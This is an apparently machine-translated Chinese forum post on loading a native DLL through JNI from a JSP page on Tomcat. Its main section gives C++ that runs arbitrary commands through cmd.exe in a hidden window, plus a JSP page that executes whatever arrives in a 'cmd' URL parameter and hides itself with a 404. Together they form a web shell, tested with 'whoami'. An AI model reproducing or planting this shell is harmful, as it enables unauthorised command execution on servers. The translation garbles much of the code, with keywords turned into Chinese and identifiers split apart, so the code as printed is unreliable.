CHQ1d 发布于2022年11月8日 分享 发布于2022年11月8日 0x00 前言 Java可以通过JNI接口访问本地动态连接库,从而扩展了Java的功能。以Tomcat环境为例,介绍了通过jsp加载dll的方法,开源代码,记录细节。 0x01 简介 本文将介绍以下内容: 基础知识 通过Java JNI加载动态链接库的方法 通过jsp JNI加载动态链接库的方法 0x02 基础知识 JNI,全称Java Native Interface,是Java语言的本地编程接口。可用于调用dll文件 给JNI打电话的接口: 写Java代码,指明要访问的本地动态连接库和本地方法。 编译Java代码来获得。类别文件 使用javah生成相应的。这个类的h文件。 用c实现该功能并编译dll。 通过Java调用dll 0x03 Java通过JNI加载dll的方法 在本节中,我们将通过Java加载dll并在命令行上输出“Hello World”。 1.编写Java代码,注明要访问的本地动态连接库和本地方法 HelloWorld.java: 公共类HelloWorld { 私有原生void print(); 静电 { system . loadlibrary(' Hello '); } 公共静态void main(String[] args) { 新HelloWorld()。print(); } } 注: 还可以使用System.load指定加载dll的绝对路径。代码示例:system . load(' C:\ \ test \ \ hello . dll '); 上面的代码表明,要访问本地Hello.dll,需要调用本地方法print()。 2.编译Java代码得到.class文件 Cmd命令: 贾瓦茨HelloWorld.java 执行命令后,会生成HelloWorld.class文件。 3.使用javah生成该类对应的.h文件 Cmd命令: javah -jni HelloWorld 执行命令后,会生成文件HelloWorld.h。 为了简化后续C项目的配置,这里我们需要修改HelloWorld.h,将#include改为#include 'jni.h '。修改内容如下: /*不要编辑此文件-它是机器生成的*/ #包含“jni.h” HelloWorld类的头*/ #ifndef _Included_HelloWorld #define _Included_HelloWorld #ifdef __cplusplus 外部' C' { #endif /* *类别:HelloWorld *方法:打印 *签名:()V */ JNI export void JNI call Java _ hello world _ print (JNIEnv *,job object); #ifdef __cplusplus } #endif #endif 4.使用C++实现函数功能,编译生成dll 使用Visual Studio,新建一个C工程Hello,选择win2控制台应用程序,应用程序类型为DLL,附加选项:导出符号。 dllmain.cpp或Hello.cpp都可以修改。具体代码如下: #包含“jni.h” #包括 #包含“HelloWorld.h” JNIEXPORT void JNICALL Java _ hello world _ print(JNIEnv * env,jobject obj) { printf('Hello World!\ n’); 返回; } 该项目需要参考以下三个文件: 位于% JDK% \包括\ JNI.h Jni_md.h,位于% JDK% \包含\ win32 \ JNI _ MD.H HelloWorld.h,使用javah生成 编译dll 注: 测试环境是64位系统,因此选择64位Hello.dll。 5.通过Java调用dll 将Hello.dll和HelloWorld.class保存在同一个目录中,并执行以下命令: java HelloWorld 得到结果: 你好世界! 加载成功 0x04 jsp通过JNI加载dll的方法 在本节中,我们将实现cmd命令,并通过在Tomcat环境中访问jsp文件来获取命令执行结果。 1.编写Java代码,注明要访问的本地动态连接库和本地方法 testtomcat_jsp.java: 包org.apache.jsp; 公共类testtomcat_jsp { 类JniClass { public native String exec( String字符串); } } 在Tomcat环境中,需要以下限制: 固定包名的格式为org.apache.jsp。 Java文件名需要固定格式:***_jsp,后面的jsp文件名需要和它们一致。例如testtomcat_jsp.java,最终jsp的文件名需要命名为testtomcat.jsp。 类名不需要局限于JniClass,可以是任意的。 2.编译Java代码得到.class文件 Cmd命令: javac testtomcat_jsp.java 执行该命令后,会生成testtomcat_jsp.class和testtomcat_jsp$JniClass.class文件。 3.使用javah生成该类对应的.h文件 将test Tomcat _ JSPJNI class . class保存在\org\apache\jsp\下。 Cmd命令: javah-JNI org . Apache . JSP . test Tomcat _ JSP $ JNI class 执行命令后会生成org _ Apache _ JSP _ test Tomcat _ JSP _ JNI class . h文件。 为了简化后续C项目的配置,需要修改org _ Apache _ JSP _ testtomcat _ JSP _ JNI class . h,将#include改为#include 'jni.h '。修改内容如下: /*不要编辑此文件-它是机器生成的*/ #包含“jni.h” /* org _ Apache _ JSP _ test Tomcat _ JSP _ JNI class类的头*/ # IFN def _ Included _ org _ Apache _ JSP _ test Tomcat _ JSP _ JNI类 # define _ Included _ org _ Apache _ JSP _ test Tomcat _ JSP _ JNI类 #ifdef __cplusplus 外部C' { #endif /* * Class:org _ Apache _ JSP _ test Tomcat _ JSP _ JNI类 *方法:执行 *签名:(Ljava/lang/String;)Ljava/lang/String; */ JNI导出jstring JNI调用Java _ org _ Apache _ JSP _ test Tomcat _ 1 JSP _ 00024 JNI class _ exec (JNIEnv *、jobject、jstring); #ifdef __cplusplus } #endif #endif 4.使用C++实现函数功能,编译生成dll 使用Visual Studio,新建一个C项目TestTomcat,选中win2控制台应用程序,应用程序类型为DLL,附加选项:导出符号 修改dllmain.cpp或者TestTomcat.cpp均可,具体代码如下: #包含" jni.h " # include ' org _ Apache _ JSP _ test Tomcat _ JSP _ JNI类。' h ' #包括 #包括 #包括 #杂注注释(lib,' User32.lib ') char *ExeCmd(WCHAR *pszCmd) { 安全属性服务协议 处理hRead,hWrite 山。nlength=sizeof(SECURITY _ ATTRIBUTES); sa.lpSecurityDescriptor=NULL sa.bInheritHandle=TRUE 如果(!CreatePipe(hRead,hWrite,sa,0)) { return ('[!]创建管道失败。); } 启动信息si 过程_信息pi; 是的。CB=sizeof(启动信息); 获取启动信息(si); si.hStdError=hWrite 是的。hstd输出=h写; si.wShowWindow=SW _ HIDE 是的。dw flags=STARTF _ USESHOWWINDOW | STARTF _ USESTDHANDLES; WCHAR命令[MAX _ PATH]; wsprintf(命令,L'cmd.exe /c %ws ',PSZ cmd); 如果(!CreateProcess(NULL,command,NULL,NULL,TRUE,NULL,NULL,NULL,si,pi)) return ('[!]创建过程失败。); 关闭句柄(hWrite); char buffer[4096]={ 0 }; 双字字节读取 char strText[32768]={ 0 }; 而(真) { if (ReadFile(hRead,buffer,4096 - 1,bytesRead,NULL)==NULL) 打破; sprintf_s(strText,' %s\r\n%s ',strText,buffer); memset(buffer,0,sizeof(buffer)). } 返回strText } JNI导出jstring JNI调用Java _ org _ Apache _ JSP _ test Tomcat _ 1 JSP _ 00024 JNI class _ exec(JNI env * env,jobject class _ object,jstring jstr) { WCHAR * command=(WCHAR *)env-getstring chars(jstr,0); char *data=ExeCmd(命令); jstring cmd result=(env)-NewStringUTF(data); 返回cmdresult } 注: 代码JNI导出jstring JNI调用Java _ org _ Apache _ JSP _ test Tomcat _ 1 JSP _ 00024 JNI class _ exec(JNI env * env,jobject class _ object,jstring jstr)需要和头文件中的声明保持一致 项目需要引用以下三个文件: jni.h,位置为%jdk%\include\jni.h jni_md.h,位置为%jdk%\include\win32\jni_md.h org _ Apache _ JSP _ test Tomcat _ JSP _ JNI类。h,使用贾瓦生成 编译生成动态链接库 注: 测试环境为64位系统,所以选择生成64位的TestTomcat.dll 5.通过jsp调用dll 向雄猫上传TestTomcat.dll,在网目录创建testtomcat.jsp,内容如下: %! 类JniClass { 公共本机字符串exec(字符串字符串); 公共JniClass() { 系统。load(' c:\ \ test \ \ testtomcat。dll’); } } % % 字符串cmd=请求。getparameter(' cmd '); 如果(cmd!=null) { JNI a级=新JNI级(); string RES=a . exec(cmd); 出去。println(RES); } 否则{ 回应。发送错误(404); } % 注: jsp文件名称需要同之前的Java 语言(一种计算机语言,尤用于创建网站)语言(一种计算机语言,尤用于创建网站)文件保持一致 访问网址:http://127 .0 .0 .1:8080/测试Tomcat。JSP?cmd=whoami 获得命令执行结果,加载成功 0x05 小结 本文以雄猫环境为例,介绍通过jsp加载动态链接库的方法,开源代码,记录细节,能够扩展jsp的功能。 留下回复 链接帖子 意见的链接 分享到其他网站 更多分享选项…
推荐的帖子